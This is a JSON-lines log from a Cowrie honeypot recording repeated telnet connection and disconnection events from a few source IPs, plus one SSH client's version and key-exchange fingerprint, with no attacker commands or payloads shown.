{"eventid":"cowrie.session.closed","duration":30.919378519058228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:02.629464Z","src_ip":"23.111.140.22","session":"3ad04228f327","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.019794940948486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:02.757671Z","src_ip":"23.111.140.22","session":"20934f676cd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50014,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3fbd595b362","protocol":"telnet","message":"New connection: 23.111.140.22:50014 (10.17.0.5:23) [session: f3fbd595b362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:02.830145Z"}
{"eventid":"cowrie.session.closed","duration":31.510319471359253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:02.968682Z","src_ip":"23.111.140.22","session":"3e1e473dd81c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.542510986328125,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:02.974998Z","src_ip":"23.111.140.22","session":"bc9cea33912e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54020,"dst_ip":"10.17.0.5","dst_port":23,"session":"85d08cde2dc5","protocol":"telnet","message":"New connection: 23.111.140.22:54020 (10.17.0.5:23) [session: 85d08cde2dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:03.076750Z"}
{"eventid":"cowrie.session.closed","duration":31.330178022384644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:03.575339Z","src_ip":"23.111.140.22","session":"f1b8d65bf359","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55924,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ab5c000b9a8","protocol":"telnet","message":"New connection: 23.111.140.22:55924 (10.17.0.5:23) [session: 1ab5c000b9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:03.761829Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56334,"dst_ip":"10.17.0.5","dst_port":23,"session":"f00dde02d90d","protocol":"telnet","message":"New connection: 23.111.140.22:56334 (10.17.0.5:23) [session: f00dde02d90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:03.891319Z"}
{"eventid":"cowrie.session.closed","duration":32.5462851524353,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:04.064684Z","src_ip":"23.111.140.22","session":"c7fcbecf659c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.541866779327393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:04.099831Z","src_ip":"23.111.140.22","session":"6dd006f9cb48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.864665031433105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:04.378856Z","src_ip":"23.111.140.22","session":"97654bfb5bb1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51884,"dst_ip":"10.17.0.5","dst_port":23,"session":"3be2ff252802","protocol":"telnet","message":"New connection: 23.111.140.22:51884 (10.17.0.5:23) [session: 3be2ff252802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:04.482249Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":46012,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2f19fc3179c","protocol":"telnet","message":"New connection: 217.182.190.44:46012 (10.17.0.5:23) [session: f2f19fc3179c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:04.674759Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56632,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9951cd31671","protocol":"telnet","message":"New connection: 23.111.140.22:56632 (10.17.0.5:23) [session: b9951cd31671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:04.994710Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47446,"dst_ip":"10.17.0.5","dst_port":23,"session":"b53584b3445d","protocol":"telnet","message":"New connection: 23.111.140.22:47446 (10.17.0.5:23) [session: b53584b3445d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:05.026489Z"}
{"eventid":"cowrie.session.closed","duration":32.01403856277466,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:05.084277Z","src_ip":"23.111.140.22","session":"3a3e50a10701","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50922,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1ace2353a55","protocol":"telnet","message":"New connection: 23.111.140.22:50922 (10.17.0.5:23) [session: e1ace2353a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:05.090119Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57206,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bd5c92f5c85","protocol":"telnet","message":"New connection: 23.111.140.22:57206 (10.17.0.5:23) [session: 8bd5c92f5c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:05.186336Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60954,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9cdd83751d8","protocol":"telnet","message":"New connection: 23.111.140.22:60954 (10.17.0.5:23) [session: f9cdd83751d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:05.364428Z"}
{"eventid":"cowrie.session.closed","duration":31.881954431533813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:05.593156Z","src_ip":"23.111.140.22","session":"8d8007ffc4ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.183043718338013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:05.745545Z","src_ip":"23.111.140.22","session":"89d878c8c35d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53150,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b1e3f7721d8","protocol":"telnet","message":"New connection: 23.111.140.22:53150 (10.17.0.5:23) [session: 3b1e3f7721d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:05.856014Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34833,"dst_ip":"10.17.0.5","dst_port":23,"session":"784901964ca5","protocol":"telnet","message":"New connection: 23.111.140.22:34833 (10.17.0.5:23) [session: 784901964ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:05.998591Z"}
{"eventid":"cowrie.session.closed","duration":30.633334636688232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:06.064957Z","src_ip":"23.111.140.22","session":"9de198584496","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56083846092224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:06.156456Z","src_ip":"23.111.140.22","session":"4136d5ca4c96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56476,"dst_ip":"10.17.0.5","dst_port":23,"session":"46b668e1f02e","protocol":"telnet","message":"New connection: 23.111.140.22:56476 (10.17.0.5:23) [session: 46b668e1f02e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:06.979102Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38418,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb157258e804","protocol":"telnet","message":"New connection: 23.111.140.22:38418 (10.17.0.5:23) [session: fb157258e804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:07.151260Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39142,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe787e6308c1","protocol":"telnet","message":"New connection: 23.111.140.22:39142 (10.17.0.5:23) [session: fe787e6308c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:07.413130Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57896,"dst_ip":"10.17.0.5","dst_port":23,"session":"95c5dbd9852d","protocol":"telnet","message":"New connection: 23.111.140.22:57896 (10.17.0.5:23) [session: 95c5dbd9852d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:07.430752Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36890,"dst_ip":"10.17.0.5","dst_port":23,"session":"55f0f75d0715","protocol":"telnet","message":"New connection: 23.111.140.22:36890 (10.17.0.5:23) [session: 55f0f75d0715]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:07.668134Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40640,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0863bade67e","protocol":"telnet","message":"New connection: 23.111.140.22:40640 (10.17.0.5:23) [session: e0863bade67e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:07.914394Z"}
{"eventid":"cowrie.session.closed","duration":30.894604682922363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:08.340895Z","src_ip":"23.111.140.22","session":"827f9a041b12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44918,"dst_ip":"10.17.0.5","dst_port":23,"session":"9222502c20a6","protocol":"telnet","message":"New connection: 23.111.140.22:44918 (10.17.0.5:23) [session: 9222502c20a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:09.305462Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44928,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fef59c6e9d4","protocol":"telnet","message":"New connection: 23.111.140.22:44928 (10.17.0.5:23) [session: 7fef59c6e9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:09.313297Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45312,"dst_ip":"10.17.0.5","dst_port":23,"session":"73cf98346ebe","protocol":"telnet","message":"New connection: 23.111.140.22:45312 (10.17.0.5:23) [session: 73cf98346ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:09.436983Z"}
{"eventid":"cowrie.session.closed","duration":31.117056846618652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:09.509697Z","src_ip":"23.111.140.22","session":"0ec0eb5048cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45588,"dst_ip":"10.17.0.5","dst_port":23,"session":"d81879f738d8","protocol":"telnet","message":"New connection: 23.111.140.22:45588 (10.17.0.5:23) [session: d81879f738d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:09.524823Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42984,"dst_ip":"10.17.0.5","dst_port":23,"session":"26b564abb016","protocol":"telnet","message":"New connection: 23.111.140.22:42984 (10.17.0.5:23) [session: 26b564abb016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:09.708838Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47352,"dst_ip":"10.17.0.5","dst_port":23,"session":"38d91966e77e","protocol":"telnet","message":"New connection: 23.111.140.22:47352 (10.17.0.5:23) [session: 38d91966e77e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:09.987414Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47534,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8b2b402a7a6","protocol":"telnet","message":"New connection: 23.111.140.22:47534 (10.17.0.5:23) [session: d8b2b402a7a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:10.027822Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44298,"dst_ip":"10.17.0.5","dst_port":23,"session":"f69f2303ed39","protocol":"telnet","message":"New connection: 23.111.140.22:44298 (10.17.0.5:23) [session: f69f2303ed39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:10.041206Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48258,"dst_ip":"10.17.0.5","dst_port":23,"session":"5188c0841717","protocol":"telnet","message":"New connection: 23.111.140.22:48258 (10.17.0.5:23) [session: 5188c0841717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:10.278331Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45224,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b9746ca0754","protocol":"telnet","message":"New connection: 23.111.140.22:45224 (10.17.0.5:23) [session: 9b9746ca0754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:10.408965Z"}
{"eventid":"cowrie.session.closed","duration":32.610214948654175,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:10.482906Z","src_ip":"23.111.140.22","session":"0e3ce121ff3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45620,"dst_ip":"10.17.0.5","dst_port":23,"session":"db719d9dc579","protocol":"telnet","message":"New connection: 23.111.140.22:45620 (10.17.0.5:23) [session: db719d9dc579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:10.541140Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49280,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca6793dd28f9","protocol":"telnet","message":"New connection: 23.111.140.22:49280 (10.17.0.5:23) [session: ca6793dd28f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:10.601652Z"}
{"eventid":"cowrie.session.closed","duration":33.41122484207153,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:10.698159Z","src_ip":"23.111.140.22","session":"95fa54fcde21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46872,"dst_ip":"10.17.0.5","dst_port":23,"session":"e376ed61da44","protocol":"telnet","message":"New connection: 23.111.140.22:46872 (10.17.0.5:23) [session: e376ed61da44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:10.856887Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59858,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdf03af1f36f","protocol":"telnet","message":"New connection: 174.138.46.234:59858 (159.203.135.109:23) [session: bdf03af1f36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:11.564781Z"}
{"eventid":"cowrie.session.closed","duration":31.507343530654907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:12.170185Z","src_ip":"23.111.140.22","session":"1caca028b163","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60068,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4312104b2b3","protocol":"telnet","message":"New connection: 174.138.46.234:60068 (159.203.135.109:23) [session: a4312104b2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:12.300696Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60080,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c79571e4a35","protocol":"telnet","message":"New connection: 174.138.46.234:60080 (159.203.135.109:23) [session: 9c79571e4a35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:12.346125Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60132,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0f7f7e5be77","protocol":"telnet","message":"New connection: 174.138.46.234:60132 (159.203.135.109:23) [session: e0f7f7e5be77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:12.491712Z"}
{"eventid":"cowrie.session.closed","duration":30.62725281715393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:13.093671Z","src_ip":"23.111.140.22","session":"fd8eecd19344","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55002,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d2a874d82b2","protocol":"telnet","message":"New connection: 23.111.140.22:55002 (10.17.0.5:23) [session: 0d2a874d82b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:13.228238Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58098,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf82a8bb8c84","protocol":"telnet","message":"New connection: 23.111.140.22:58098 (10.17.0.5:23) [session: cf82a8bb8c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:13.255222Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60224,"dst_ip":"159.203.135.109","dst_port":23,"session":"762280285fb9","protocol":"telnet","message":"New connection: 174.138.46.234:60224 (159.203.135.109:23) [session: 762280285fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:13.798233Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35002,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c2fcacc8019","protocol":"telnet","message":"New connection: 23.111.140.22:35002 (10.17.0.5:23) [session: 6c2fcacc8019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:14.781946Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35760,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fc32267f879","protocol":"telnet","message":"New connection: 23.111.140.22:35760 (10.17.0.5:23) [session: 3fc32267f879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:14.979551Z"}
{"eventid":"cowrie.session.closed","duration":31.64995551109314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:15.169743Z","src_ip":"23.111.140.22","session":"eff955b4705a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36572,"dst_ip":"10.17.0.5","dst_port":23,"session":"3346657b3956","protocol":"telnet","message":"New connection: 23.111.140.22:36572 (10.17.0.5:23) [session: 3346657b3956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:15.249495Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35800,"dst_ip":"10.17.0.5","dst_port":23,"session":"a66ffefde5a4","protocol":"telnet","message":"New connection: 23.111.140.22:35800 (10.17.0.5:23) [session: a66ffefde5a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:15.489948Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34158,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b98c42d3700","protocol":"telnet","message":"New connection: 23.111.140.22:34158 (10.17.0.5:23) [session: 2b98c42d3700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:15.543806Z"}
{"eventid":"cowrie.session.closed","duration":31.4294912815094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:16.022928Z","src_ip":"23.111.140.22","session":"1f93795b0b89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.907610177993774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:16.033653Z","src_ip":"23.111.140.22","session":"4dbedf71dac2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.81579637527466,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:16.212345Z","src_ip":"23.111.140.22","session":"a374afb2ec1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43828,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b36edc6e2fb","protocol":"telnet","message":"New connection: 23.111.140.22:43828 (10.17.0.5:23) [session: 4b36edc6e2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:16.259773Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37512,"dst_ip":"10.17.0.5","dst_port":23,"session":"e69102096c9b","protocol":"telnet","message":"New connection: 23.111.140.22:37512 (10.17.0.5:23) [session: e69102096c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:16.579715Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":55918,"dst_ip":"10.17.0.5","dst_port":22,"session":"2786d7c6eecc","protocol":"ssh","message":"New connection: 202.145.0.61:55918 (10.17.0.5:22) [session: 2786d7c6eecc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:16.700738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:16.705856Z","src_ip":"202.145.0.61","session":"2786d7c6eecc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:16.938167Z","src_ip":"202.145.0.61","session":"2786d7c6eecc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42472,"dst_ip":"10.17.0.5","dst_port":23,"session":"13907e4f81c6","protocol":"telnet","message":"New connection: 23.111.140.22:42472 (10.17.0.5:23) [session: 13907e4f81c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:17.146395Z"}
{"eventid":"cowrie.session.closed","duration":41.17812776565552,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:17.500425Z","src_ip":"23.111.140.22","session":"7f65f37775db","protocol":"telnet"}
